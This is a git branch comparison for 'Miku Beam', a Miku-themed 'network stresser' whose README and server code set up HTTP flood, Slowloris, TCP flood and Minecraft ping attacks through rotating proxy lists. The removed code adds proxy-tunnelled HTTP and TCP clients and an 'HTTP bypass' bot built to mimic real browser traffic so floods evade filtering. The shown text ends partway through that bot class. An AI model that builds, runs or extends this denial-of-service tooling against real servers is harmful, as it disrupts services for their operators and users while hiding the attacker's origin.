Compare commits
No commits in common. "main" and "rainwashed-main" have entirely different histories.
main
...
rainwashed
24 changed files with 119 additions and 730 deletions
23
Dockerfile
23
Dockerfile
|
@ -1,23 +0,0 @@
|
||||||
# Use the official Node.js v20 image as a base
|
|
||||||
FROM node:20
|
|
||||||
|
|
||||||
# Set the working directory
|
|
||||||
WORKDIR /app
|
|
||||||
|
|
||||||
# Copy package.json
|
|
||||||
COPY package*.json ./
|
|
||||||
|
|
||||||
# Install dependencies using bun
|
|
||||||
RUN npm install
|
|
||||||
|
|
||||||
# Copy the rest of the source code
|
|
||||||
COPY . .
|
|
||||||
|
|
||||||
# Build the project and output to the ./dist directory
|
|
||||||
RUN npm run build
|
|
||||||
|
|
||||||
# Expose the port the app runs on (adjust if necessary)
|
|
||||||
EXPOSE 3000
|
|
||||||
|
|
||||||
# Run the application
|
|
||||||
CMD ["npm", "run", "start"]
|
|
|
@ -1,56 +0,0 @@
|
||||||
module.exports = function (grunt) {
|
|
||||||
grunt.initConfig({
|
|
||||||
pkg: grunt.file.readJSON("package.json"),
|
|
||||||
|
|
||||||
// Build from source.
|
|
||||||
shell: {
|
|
||||||
clean: {
|
|
||||||
command: "rimraf dist",
|
|
||||||
},
|
|
||||||
|
|
||||||
buildClient: {
|
|
||||||
command: "vite build",
|
|
||||||
},
|
|
||||||
buildServer: {
|
|
||||||
command:
|
|
||||||
"tsc --project tsconfig.server.json && tsc-alias -p tsconfig.server.json",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
|
|
||||||
// Copy worker files (Backend attack methods and utilities)
|
|
||||||
copy: {
|
|
||||||
static_workers: {
|
|
||||||
expand: true,
|
|
||||||
cwd: "server/workers/",
|
|
||||||
src: "*",
|
|
||||||
dest: "dist/workers/",
|
|
||||||
},
|
|
||||||
static_utils: {
|
|
||||||
expand: true,
|
|
||||||
cwd: "server/utils/",
|
|
||||||
src: "*",
|
|
||||||
dest: "dist/utils/",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
|
|
||||||
// Run concurrent tasks
|
|
||||||
concurrent: {
|
|
||||||
build: ["shell:buildClient", "shell:buildServer"],
|
|
||||||
copy_static: ["copy:static_workers", "copy:static_utils"],
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
grunt.loadNpmTasks("grunt-contrib-copy");
|
|
||||||
grunt.loadNpmTasks("grunt-shell");
|
|
||||||
grunt.loadNpmTasks("grunt-concurrent");
|
|
||||||
|
|
||||||
// Run our tasks
|
|
||||||
grunt.registerTask("build", [
|
|
||||||
"shell:clean",
|
|
||||||
"concurrent:build",
|
|
||||||
"concurrent:copy_static",
|
|
||||||
]);
|
|
||||||
|
|
||||||
grunt.registerTask("build_server", ["shell:buildServer"]);
|
|
||||||
grunt.registerTask("build_client", ["shell:buildClient"]);
|
|
||||||
};
|
|
71
README.md
71
README.md
|
@ -6,7 +6,6 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte
|
||||||
|
|
||||||
## Features 🎉
|
## Features 🎉
|
||||||
|
|
||||||
- 🐳 **Docker Ready**: MMB is ready to be built and run in a Docker container.
|
|
||||||
- 🌐 **Real-time Attack Visualization**: View your attack’s progress and statistics in real-time as it runs. 🔥
|
- 🌐 **Real-time Attack Visualization**: View your attack’s progress and statistics in real-time as it runs. 🔥
|
||||||
- 🎶 **Miku-themed UI**: A cute and vibrant design with Miku’s vibe to make the process more fun. Includes a banger song to keep you pumped! 🎧
|
- 🎶 **Miku-themed UI**: A cute and vibrant design with Miku’s vibe to make the process more fun. Includes a banger song to keep you pumped! 🎧
|
||||||
- 🧑💻 **Configurable Attack Parameters**: Easily set the attack method, packet size, duration, and packet delay via the frontend interface.
|
- 🧑💻 **Configurable Attack Parameters**: Easily set the attack method, packet size, duration, and packet delay via the frontend interface.
|
||||||
|
@ -15,7 +14,6 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte
|
||||||
- 🖼️ **Aesthetic Design**: A visually cute interface to make your experience enjoyable. 🌸
|
- 🖼️ **Aesthetic Design**: A visually cute interface to make your experience enjoyable. 🌸
|
||||||
- 📡 **Attack Methods:**:
|
- 📡 **Attack Methods:**:
|
||||||
- `HTTP Flood` - Send random HTTP requests
|
- `HTTP Flood` - Send random HTTP requests
|
||||||
- `HTTP Bypass` - Send HTTP requests that mimics real requests (Redirects, cookies, headers, resources...)
|
|
||||||
- `HTTP Slowloris` - Send HTTP requests and keep the connection open
|
- `HTTP Slowloris` - Send HTTP requests and keep the connection open
|
||||||
- `Minecraft Ping` - Send Minecraft ping/motd requests
|
- `Minecraft Ping` - Send Minecraft ping/motd requests
|
||||||
- `TCP Flood` - Send random TCP packets
|
- `TCP Flood` - Send random TCP packets
|
||||||
|
@ -29,7 +27,7 @@ Make sure you have the following installed:
|
||||||
- Node.js (v14 or above) 🌱
|
- Node.js (v14 or above) 🌱
|
||||||
- npm (Node Package Manager) 📦
|
- npm (Node Package Manager) 📦
|
||||||
|
|
||||||
### Development Mode 🔧
|
### Installation 💻
|
||||||
|
|
||||||
1. Clone this repository:
|
1. Clone this repository:
|
||||||
|
|
||||||
|
@ -45,50 +43,18 @@ Make sure you have the following installed:
|
||||||
```
|
```
|
||||||
|
|
||||||
3. Create the necessary files:
|
3. Create the necessary files:
|
||||||
- `data/proxies.txt` - List of proxies.
|
- `proxies.txt` - List of proxies.
|
||||||
- `data/uas.txt` - List of user agents.
|
- `uas.txt` - List of user agents.
|
||||||
|
|
||||||
4. Run the server in development mode:
|
4. Run the server:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
npm run dev
|
npm run dev
|
||||||
```
|
```
|
||||||
|
|
||||||
- The **frontend** runs on `http://localhost:5173`.
|
The server will run on port `3000` by default. 🌐
|
||||||
- The **backend** runs on `http://localhost:3000`.
|
|
||||||
|
|
||||||
---
|
5. Open the frontend (usually accessible at `http://localhost:5173`), where you can configure and visualize your attacks.
|
||||||
|
|
||||||
### Production Mode 💥
|
|
||||||
|
|
||||||
1. Clone the repository and navigate to the project directory:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/sammwyy/mikumikubeam.git
|
|
||||||
cd mikumikubeam
|
|
||||||
```
|
|
||||||
|
|
||||||
2. Install the dependencies:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
npm install
|
|
||||||
```
|
|
||||||
|
|
||||||
3. Build the project:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
npm run build
|
|
||||||
```
|
|
||||||
|
|
||||||
4. Start the server in production mode:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
npm run start
|
|
||||||
```
|
|
||||||
|
|
||||||
In production mode, both the **frontend** and **backend** are served on the same port (`http://localhost:3000`).
|
|
||||||
|
|
||||||
> Don't forget to add the necessary files `data/proxies.txt` and `data/uas.txt`.
|
|
||||||
|
|
||||||
## Usage ⚙️
|
## Usage ⚙️
|
||||||
|
|
||||||
|
@ -162,26 +128,23 @@ const attackHandlers = {
|
||||||
|
|
||||||
### FAQs ❓
|
### FAQs ❓
|
||||||
|
|
||||||
**1. What operating system does MMB support?**
|
> 1. What operating system does MMB support?
|
||||||
|
|
||||||
> **Windows**, **Linux**, **Mac** and **Android (untested)**
|
**Re:** **Windows**, **Linux**, **Mac** and **Android (untested)**
|
||||||
|
|
||||||
**2. It crashes on startup, giving a "concurrently" error**
|
> 2. It crashes on startup, giving a "concurrently" error.
|
||||||
|
|
||||||
> Try running two terminals instead of one, in the first one use "npm run dev:client", and in the other one "npm run dev:server". (This happened to several people with Windows 11)
|
**Re:** Try running two terminals instead of one, in the first one use "npm run dev:client", and in the other one "npm run dev:server". (This happened to several people with Windows 11)
|
||||||
|
|
||||||
**3. I go to "<http://localhost:3000>" and nothing appears.**
|
> 3. I go to "http://localhost:3000" and nothing appears.
|
||||||
|
|
||||||
> Port `3000` is the server port, to see the UI you must use port `5173` (<http://localhost:5173>)
|
**Re:** Port `3000` is the server port, to see the UI you must use port `5173` (http://localhost:5173)
|
||||||
|
|
||||||
**4. Requests fail to be sent to the target server (Read timeout and variations)**
|
> 4. Requests fail to be sent to the target server (Read timeout and variations)
|
||||||
|
**Re:** You must put the corresponding proxies in the file `data/proxies.txt`. On each line, put a different proxy that will be used to perform the attack. The format must be the following:
|
||||||
> You must put the corresponding proxies in the file `data/proxies.txt`. On each line, put a different proxy that will be used to perform the attack. The format must be the following:
|
- `protocol://host:port`
|
||||||
>
|
- `host:port` (Uses http as default protocol)
|
||||||
> - `protocol://user:password@host:port` (Proxy with authentication)
|
- `host` (Uses 8080 as default port)
|
||||||
> - `protocol://host:port`
|
|
||||||
> - `host:port` (Uses http as default protocol)
|
|
||||||
> - `host` (Uses 8080 as default port)
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
BIN
bun.lockb
BIN
bun.lockb
Binary file not shown.
|
@ -1,14 +0,0 @@
|
||||||
version: "3.8"
|
|
||||||
|
|
||||||
services:
|
|
||||||
app:
|
|
||||||
build:
|
|
||||||
context: .
|
|
||||||
dockerfile: Dockerfile
|
|
||||||
ports:
|
|
||||||
- "3000:3000"
|
|
||||||
volumes:
|
|
||||||
- .:/app
|
|
||||||
environment:
|
|
||||||
- NODE_ENV=development
|
|
||||||
command: npm run start
|
|
|
@ -2,7 +2,7 @@
|
||||||
<html lang="en">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8" />
|
<meta charset="UTF-8" />
|
||||||
<link rel="icon" type="image/svg+xml" href="/miku.svg" />
|
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
<title>Miku Beam - Network Stresser</title>
|
<title>Miku Beam - Network Stresser</title>
|
||||||
</head>
|
</head>
|
||||||
|
|
27
package.json
27
package.json
|
@ -3,31 +3,26 @@
|
||||||
"private": true,
|
"private": true,
|
||||||
"version": "0.0.0",
|
"version": "0.0.0",
|
||||||
"type": "module",
|
"type": "module",
|
||||||
"main": "./dist/index.js",
|
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"dev": "concurrently --ks SIGKILL -n \"Client,Server\" \"npm run dev:client\" \"npm run dev:server\"",
|
"dev": "concurrently --ks SIGKILL -n \"Client,Server\" \"npm run dev:client\" \"npm run dev:server\"",
|
||||||
"dev:server": "cross-env NODE_ENV=development tsx watch server/",
|
"dev:server": "tsx watch server/",
|
||||||
"dev:client": "cross-env NODE_ENV=development vite",
|
"dev:client": "vite",
|
||||||
"clean": "rimraf ./dist",
|
"build": "vite build",
|
||||||
"build": "grunt build",
|
|
||||||
"build:client": "grunt build_client",
|
|
||||||
"build:server": "grunt build_server",
|
|
||||||
"lint": "eslint .",
|
"lint": "eslint .",
|
||||||
"preview": "vite preview",
|
"preview": "vite preview"
|
||||||
"start": "cross-env NODE_ENV=production node ."
|
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"axios": "^1.7.9",
|
"axios": "^1.7.9",
|
||||||
"body-parser": "^1.20.3",
|
"body-parser": "^1.20.3",
|
||||||
"cheerio": "^1.0.0",
|
"concurrently": "^9.1.2",
|
||||||
"cross-env": "^7.0.3",
|
|
||||||
"express": "^4.21.2",
|
"express": "^4.21.2",
|
||||||
"lucide-react": "^0.344.0",
|
"lucide-react": "^0.344.0",
|
||||||
"react": "^18.3.1",
|
"react": "^18.3.1",
|
||||||
"react-dom": "^18.3.1",
|
"react-dom": "^18.3.1",
|
||||||
"socket.io": "^4.7.4",
|
"socket.io": "^4.7.4",
|
||||||
"socket.io-client": "^4.7.4",
|
"socket.io-client": "^4.7.4",
|
||||||
"socks-proxy-agent": "^8.0.5"
|
"socks-proxy-agent": "^8.0.5",
|
||||||
|
"tsx": "^4.19.2"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@eslint/js": "^9.9.1",
|
"@eslint/js": "^9.9.1",
|
||||||
|
@ -36,20 +31,12 @@
|
||||||
"@types/react-dom": "^18.3.0",
|
"@types/react-dom": "^18.3.0",
|
||||||
"@vitejs/plugin-react": "^4.3.1",
|
"@vitejs/plugin-react": "^4.3.1",
|
||||||
"autoprefixer": "^10.4.18",
|
"autoprefixer": "^10.4.18",
|
||||||
"concurrently": "^9.1.2",
|
|
||||||
"eslint": "^9.9.1",
|
"eslint": "^9.9.1",
|
||||||
"eslint-plugin-react-hooks": "^5.1.0-rc.0",
|
"eslint-plugin-react-hooks": "^5.1.0-rc.0",
|
||||||
"eslint-plugin-react-refresh": "^0.4.11",
|
"eslint-plugin-react-refresh": "^0.4.11",
|
||||||
"globals": "^15.9.0",
|
"globals": "^15.9.0",
|
||||||
"grunt": "^1.6.1",
|
|
||||||
"grunt-concurrent": "^3.0.0",
|
|
||||||
"grunt-contrib-copy": "^1.0.0",
|
|
||||||
"grunt-shell": "^4.0.0",
|
|
||||||
"postcss": "^8.4.35",
|
"postcss": "^8.4.35",
|
||||||
"rimraf": "^6.0.1",
|
|
||||||
"tailwindcss": "^3.4.1",
|
"tailwindcss": "^3.4.1",
|
||||||
"tsc-alias": "^1.8.10",
|
|
||||||
"tsx": "^4.19.2",
|
|
||||||
"typescript": "^5.5.3",
|
"typescript": "^5.5.3",
|
||||||
"typescript-eslint": "^8.3.0",
|
"typescript-eslint": "^8.3.0",
|
||||||
"vite": "^5.4.2"
|
"vite": "^5.4.2"
|
||||||
|
|
File diff suppressed because one or more lines are too long
Before Width: | Height: | Size: 2.6 MiB |
|
@ -28,23 +28,9 @@ export function loadUserAgents() {
|
||||||
|
|
||||||
export function loadProxies(): Proxy[] {
|
export function loadProxies(): Proxy[] {
|
||||||
const lines = loadFileLines(join(currentPath(), "data/proxies.txt"));
|
const lines = loadFileLines(join(currentPath(), "data/proxies.txt"));
|
||||||
|
|
||||||
//RegEx for proxies with authentication (protocol://user:pass@host:port)
|
|
||||||
const authProxiesRegEx = new RegExp(/^(http|https|socks4|socks5|):\/\/(\S+:\S+)@((\w+|\d+\.\d+\.\d+\.\d+):\d+)$/, 'g');
|
|
||||||
|
|
||||||
return lines.map((line) => {
|
return lines.map((line) => {
|
||||||
const [protocol, loginInfo] = line.split("://");
|
const [protocol, addr] = line.split("://");
|
||||||
|
const [host, port] = addr.split(":");
|
||||||
if (authProxiesRegEx.test(line)) {
|
return { protocol, host, port: parseInt(port) };
|
||||||
const [auth, addr] = loginInfo.split("@");
|
|
||||||
const [user, pass] = auth.split(":");
|
|
||||||
const [host, port] = addr.split(":");
|
|
||||||
|
|
||||||
return { protocol, host, port: parseInt(port), username: user, password: pass };
|
|
||||||
} else {
|
|
||||||
const [host, port] = loginInfo.split(":");
|
|
||||||
|
|
||||||
return { protocol, host, port: parseInt(port) };
|
|
||||||
}
|
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,20 +1,19 @@
|
||||||
import express from "express";
|
import express from "express";
|
||||||
import { readFileSync, writeFileSync } from "fs";
|
|
||||||
import { createServer } from "http";
|
import { createServer } from "http";
|
||||||
import { dirname, join } from "path";
|
import { dirname, join } from "path";
|
||||||
|
import { readFileSync, writeFileSync } from "fs";
|
||||||
import { Server } from "socket.io";
|
import { Server } from "socket.io";
|
||||||
import { fileURLToPath } from "url";
|
import { fileURLToPath } from "url";
|
||||||
import { Worker } from "worker_threads";
|
import { Worker } from "worker_threads";
|
||||||
|
|
||||||
import bodyParser from "body-parser";
|
|
||||||
import { currentPath, loadProxies, loadUserAgents } from "./fileLoader";
|
import { currentPath, loadProxies, loadUserAgents } from "./fileLoader";
|
||||||
import { AttackMethod } from "./lib";
|
import { AttackMethod } from "./lib";
|
||||||
import { filterProxies } from "./proxyUtils";
|
import { filterProxies } from "./proxyUtils";
|
||||||
|
import bodyParser from "body-parser";
|
||||||
|
|
||||||
// Define the workers based on attack type
|
// Define the workers based on attack type
|
||||||
const attackWorkers: { [key in AttackMethod]: string } = {
|
const attackWorkers: { [key in AttackMethod]: string } = {
|
||||||
http_flood: "./workers/httpFloodAttack.js",
|
http_flood: "./workers/httpFloodAttack.js",
|
||||||
http_bypass: "./workers/httpBypassAttack.js",
|
|
||||||
http_slowloris: "./workers/httpSlowlorisAttack.js",
|
http_slowloris: "./workers/httpSlowlorisAttack.js",
|
||||||
tcp_flood: "./workers/tcpFloodAttack.js",
|
tcp_flood: "./workers/tcpFloodAttack.js",
|
||||||
minecraft_ping: "./workers/minecraftPingAttack.js",
|
minecraft_ping: "./workers/minecraftPingAttack.js",
|
||||||
|
@ -22,15 +21,14 @@ const attackWorkers: { [key in AttackMethod]: string } = {
|
||||||
|
|
||||||
const __filename = fileURLToPath(import.meta.url);
|
const __filename = fileURLToPath(import.meta.url);
|
||||||
const __dirname = dirname(__filename);
|
const __dirname = dirname(__filename);
|
||||||
const __prod = process.env.NODE_ENV === "production";
|
|
||||||
|
|
||||||
const app = express();
|
const app = express();
|
||||||
const httpServer = createServer(app);
|
const httpServer = createServer(app);
|
||||||
const io = new Server(httpServer, {
|
const io = new Server(httpServer, {
|
||||||
cors: {
|
cors: {
|
||||||
origin: __prod ? "" : "http://localhost:5173",
|
origin: "http://localhost:5173",
|
||||||
methods: ["GET", "POST"],
|
methods: ["GET", "POST"],
|
||||||
allowedHeaders: ["Content-Type"],
|
allowedHeaders: ["Content-Type"]
|
||||||
},
|
},
|
||||||
});
|
});
|
||||||
|
|
||||||
|
@ -40,8 +38,6 @@ const userAgents = loadUserAgents();
|
||||||
console.log("Proxies loaded:", proxies.length);
|
console.log("Proxies loaded:", proxies.length);
|
||||||
console.log("User agents loaded:", userAgents.length);
|
console.log("User agents loaded:", userAgents.length);
|
||||||
|
|
||||||
app.use(express.static(join(__dirname, "public")));
|
|
||||||
|
|
||||||
io.on("connection", (socket) => {
|
io.on("connection", (socket) => {
|
||||||
console.log("Client connected");
|
console.log("Client connected");
|
||||||
|
|
||||||
|
@ -113,56 +109,47 @@ io.on("connection", (socket) => {
|
||||||
});
|
});
|
||||||
|
|
||||||
app.get("/configuration", (req, res) => {
|
app.get("/configuration", (req, res) => {
|
||||||
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173");
|
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173")
|
||||||
res.setHeader("Content-Type", "application/json");
|
res.setHeader("Content-Type", "application/json");
|
||||||
|
let proxiesText = readFileSync(join(currentPath(), "data", "proxies.txt"), "utf-8");
|
||||||
const proxiesText = readFileSync(
|
let uasText = readFileSync(join(currentPath(), "data", "uas.txt"), "utf-8");
|
||||||
join(currentPath(), "data", "proxies.txt"),
|
|
||||||
"utf-8"
|
|
||||||
);
|
|
||||||
const uasText = readFileSync(join(currentPath(), "data", "uas.txt"), "utf-8");
|
|
||||||
|
|
||||||
res.send({
|
res.send({
|
||||||
proxies: btoa(proxiesText),
|
proxies: btoa(proxiesText),
|
||||||
uas: btoa(uasText),
|
uas: btoa(uasText),
|
||||||
});
|
})
|
||||||
});
|
})
|
||||||
|
|
||||||
app.options("/configuration", (req, res) => {
|
app.options('/configuration', (req, res) => {
|
||||||
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173");
|
res.setHeader('Access-Control-Allow-Origin', 'http://localhost:5173');
|
||||||
res.setHeader("Access-Control-Allow-Methods", "POST, OPTIONS");
|
res.setHeader('Access-Control-Allow-Methods', 'POST, OPTIONS');
|
||||||
res.setHeader("Access-Control-Allow-Headers", "Content-Type");
|
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
|
||||||
res.send();
|
res.send();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
||||||
app.post("/configuration", bodyParser.json(), (req, res) => {
|
app.post("/configuration", bodyParser.json(), (req, res) => {
|
||||||
res.setHeader("Access-Control-Allow-Methods", "POST");
|
res.setHeader("Access-Control-Allow-Methods", "POST");
|
||||||
res.setHeader("Access-Control-Allow-Headers", "Content-Type");
|
res.setHeader("Access-Control-Allow-Headers", "Content-Type")
|
||||||
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173");
|
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173")
|
||||||
res.setHeader("Content-Type", "application/text");
|
res.setHeader("Content-Type", "application/text");
|
||||||
|
|
||||||
// console.log(req.body)
|
// console.log(req.body)
|
||||||
|
|
||||||
// atob and btoa are used to avoid the problems in sending data with // characters, etc.
|
// atob and btoa are used to avoid the problems in sending data with // characters, etc.
|
||||||
const proxies = atob(req.body["proxies"]);
|
let proxies = atob(req.body["proxies"]);
|
||||||
const uas = atob(req.body["uas"]);
|
let uas = atob(req.body["uas"]);
|
||||||
writeFileSync(join(currentPath(), "data", "proxies.txt"), proxies, {
|
writeFileSync(join(currentPath(), "data", "proxies.txt"), proxies, {
|
||||||
encoding: "utf-8",
|
encoding: "utf-8"
|
||||||
});
|
});
|
||||||
writeFileSync(join(currentPath(), "data", "uas.txt"), uas, {
|
writeFileSync(join(currentPath(), "data", "uas.txt"), uas, {
|
||||||
encoding: "utf-8",
|
encoding: "utf-8"
|
||||||
});
|
});
|
||||||
|
|
||||||
res.send("OK");
|
res.send("OK")
|
||||||
});
|
})
|
||||||
|
|
||||||
const PORT = parseInt(process.env.PORT || "3000");
|
const PORT = 3000;
|
||||||
httpServer.listen(PORT, () => {
|
httpServer.listen(PORT, () => {
|
||||||
if (__prod) {
|
console.log(`Server running on port ${PORT}`);
|
||||||
console.log(
|
|
||||||
`(Production Mode) Client and server is running under http://localhost:${PORT}`
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
console.log(`Server is running under development port ${PORT}`);
|
|
||||||
}
|
|
||||||
});
|
});
|
||||||
|
|
|
@ -1,8 +1,6 @@
|
||||||
export type ProxyProtocol = "http" | "https" | "socks4" | "socks5" | string;
|
export type ProxyProtocol = "http" | "https" | "socks4" | "socks5" | string;
|
||||||
|
|
||||||
export interface Proxy {
|
export interface Proxy {
|
||||||
username?: string;
|
|
||||||
password?: string;
|
|
||||||
protocol: ProxyProtocol;
|
protocol: ProxyProtocol;
|
||||||
host: string;
|
host: string;
|
||||||
port: number;
|
port: number;
|
||||||
|
@ -10,7 +8,6 @@ export interface Proxy {
|
||||||
|
|
||||||
export type AttackMethod =
|
export type AttackMethod =
|
||||||
| "http_flood"
|
| "http_flood"
|
||||||
| "http_bypass"
|
|
||||||
| "http_slowloris"
|
| "http_slowloris"
|
||||||
| "tcp_flood"
|
| "tcp_flood"
|
||||||
| "minecraft_ping";
|
| "minecraft_ping";
|
||||||
|
|
|
@ -14,7 +14,6 @@ const COMMON_PORTS: { [port: number]: ProxyProtocol } = {
|
||||||
|
|
||||||
const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = {
|
const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = {
|
||||||
http_flood: ["http", "https", "socks4", "socks5"],
|
http_flood: ["http", "https", "socks4", "socks5"],
|
||||||
http_bypass: ["http", "https", "socks4", "socks5"],
|
|
||||||
http_slowloris: ["socks4", "socks5"],
|
http_slowloris: ["socks4", "socks5"],
|
||||||
tcp_flood: ["socks4", "socks5"],
|
tcp_flood: ["socks4", "socks5"],
|
||||||
minecraft_ping: ["socks4", "socks5"],
|
minecraft_ping: ["socks4", "socks5"],
|
||||||
|
|
|
@ -1,113 +0,0 @@
|
||||||
import axios from "axios";
|
|
||||||
import net from "net";
|
|
||||||
import { SocksProxyAgent } from "socks-proxy-agent";
|
|
||||||
|
|
||||||
// Misc
|
|
||||||
export function createAgent(proxy) {
|
|
||||||
if (proxy.protocol !== "socks4" && proxy.protocol !== "socks5") {
|
|
||||||
throw new Error("Unsupported proxy protocol for agent: " + proxy.protocol);
|
|
||||||
}
|
|
||||||
|
|
||||||
const uri = `${proxy.protocol}://${
|
|
||||||
proxy.username && proxy.password
|
|
||||||
? `${proxy.username}:${proxy.password}@`
|
|
||||||
: ""
|
|
||||||
}${proxy.host}:${proxy.port}`;
|
|
||||||
|
|
||||||
return new SocksProxyAgent(uri);
|
|
||||||
}
|
|
||||||
|
|
||||||
// HTTP Client
|
|
||||||
export function createMimicHttpClient(proxy, userAgent) {
|
|
||||||
return createHttpClient({
|
|
||||||
headers: { "User-Agent": userAgent },
|
|
||||||
proxy,
|
|
||||||
timeout: 5000,
|
|
||||||
validateStatus: (status) => {
|
|
||||||
return status < 500;
|
|
||||||
},
|
|
||||||
maxRedirects: 3,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
export function createHttpClient(
|
|
||||||
clientConfig = {
|
|
||||||
headers: {
|
|
||||||
"User-Agent":
|
|
||||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
|
|
||||||
},
|
|
||||||
timeout: 5000,
|
|
||||||
validateStatus: (status) => {
|
|
||||||
return status < 500;
|
|
||||||
},
|
|
||||||
maxRedirects: 0,
|
|
||||||
proxy: {},
|
|
||||||
}
|
|
||||||
) {
|
|
||||||
const config = { ...clientConfig };
|
|
||||||
const proxy = config.proxy;
|
|
||||||
|
|
||||||
if (proxy.protocol == "http" || proxy.protocol == "https") {
|
|
||||||
config.proxy = {
|
|
||||||
host: proxy.host,
|
|
||||||
port: proxy.port,
|
|
||||||
auth: proxy.username ? { username: proxy.username } : null,
|
|
||||||
};
|
|
||||||
} else if (proxy.protocol == "socks4" || proxy.protocol == "socks5") {
|
|
||||||
const agent = createAgent(proxy);
|
|
||||||
config.proxy = false;
|
|
||||||
config.httpAgent = agent;
|
|
||||||
config.httpsAgent = agent;
|
|
||||||
} else {
|
|
||||||
throw new Error(
|
|
||||||
"Unsupported proxy protocol for HTTP client: " + proxy.protocol
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
const client = axios.create(config);
|
|
||||||
return client;
|
|
||||||
}
|
|
||||||
|
|
||||||
// TCP Client
|
|
||||||
const DEFAULT_SOCKET_CONFIG = {
|
|
||||||
host: "127.0.0.1",
|
|
||||||
port: 1080,
|
|
||||||
timeout: 5000,
|
|
||||||
};
|
|
||||||
|
|
||||||
export function createTcpClient(
|
|
||||||
proxy,
|
|
||||||
socketConfig = DEFAULT_SOCKET_CONFIG,
|
|
||||||
callback
|
|
||||||
) {
|
|
||||||
if (proxy.protocol !== "socks4" && proxy.protocol !== "socks5") {
|
|
||||||
throw new Error(
|
|
||||||
"Unsupported proxy protocol for TCP client: " + proxy.protocol
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
const socket = new net.Socket();
|
|
||||||
const proxyAgent = createAgent(proxy);
|
|
||||||
const config = { ...DEFAULT_SOCKET_CONFIG, ...socketConfig };
|
|
||||||
|
|
||||||
socket.setTimeout(config.timeout);
|
|
||||||
|
|
||||||
socket.connect(
|
|
||||||
{ host: config.host, port: config.port, agent: proxyAgent },
|
|
||||||
() => {
|
|
||||||
if (callback) callback(socket);
|
|
||||||
socket["open"] = true;
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
socket.on("close", () => {
|
|
||||||
socket["open"] = false;
|
|
||||||
});
|
|
||||||
|
|
||||||
socket.on("timeout", () => {
|
|
||||||
socket.destroy();
|
|
||||||
socket["open"] = false;
|
|
||||||
});
|
|
||||||
|
|
||||||
return socket;
|
|
||||||
}
|
|
|
@ -1,212 +0,0 @@
|
||||||
import { load as cheerioLoad } from "cheerio"; // For parsing HTML
|
|
||||||
|
|
||||||
import { createHttpClient } from "./clientUtils.js";
|
|
||||||
import { randomInteger } from "./randomUtils.js";
|
|
||||||
|
|
||||||
export default class HTTPBot {
|
|
||||||
constructor({
|
|
||||||
proxy = null,
|
|
||||||
userAgent = "Mozilla/5.0",
|
|
||||||
headers = {},
|
|
||||||
followRedirects = true,
|
|
||||||
responseCallback = null,
|
|
||||||
} = {}) {
|
|
||||||
this.visitedUrls = new Set(); // To avoid revisiting the same URL multiple times
|
|
||||||
this.running = false;
|
|
||||||
|
|
||||||
// Default headers
|
|
||||||
this.defaultHeaders = {
|
|
||||||
"User-Agent": userAgent,
|
|
||||||
Accept:
|
|
||||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
|
|
||||||
"Accept-Language": "en-US,en;q=0.5",
|
|
||||||
"Accept-Encoding": "gzip, deflate, br",
|
|
||||||
Connection: "keep-alive",
|
|
||||||
...headers, // Override default headers if custom headers are passed
|
|
||||||
};
|
|
||||||
|
|
||||||
// Create Axios instance with optional proxy and cookie handling
|
|
||||||
this.axiosInstance = createHttpClient({
|
|
||||||
headers: this.defaultHeaders,
|
|
||||||
proxy,
|
|
||||||
timeout: 10000,
|
|
||||||
maxRedirects: followRedirects ? 5 : 0,
|
|
||||||
validateStatus: (status) => {
|
|
||||||
return status < 500;
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
this.cookies = {}; // Store cookies from responses
|
|
||||||
this.responseCallback = responseCallback;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Main function that starts the cycle
|
|
||||||
startCycle(url) {
|
|
||||||
this.running = true;
|
|
||||||
this.runCycle(url);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Perform the cycle recursively with setTimeout to avoid blocking
|
|
||||||
async runCycle(url) {
|
|
||||||
if (!this.running) return; // Exit if the bot is not running
|
|
||||||
|
|
||||||
const runNextCycle = async () => {
|
|
||||||
// Wait for a random time between 2 to 10 seconds before starting the next cycle
|
|
||||||
const randomWait = randomInteger(2000, 10000);
|
|
||||||
await this.sleep(randomWait);
|
|
||||||
|
|
||||||
// Start the next cycle
|
|
||||||
this.runCycle(url);
|
|
||||||
};
|
|
||||||
|
|
||||||
try {
|
|
||||||
// Perform a GET request to the main URL
|
|
||||||
const mainResponse = await this.getRequest(url, true);
|
|
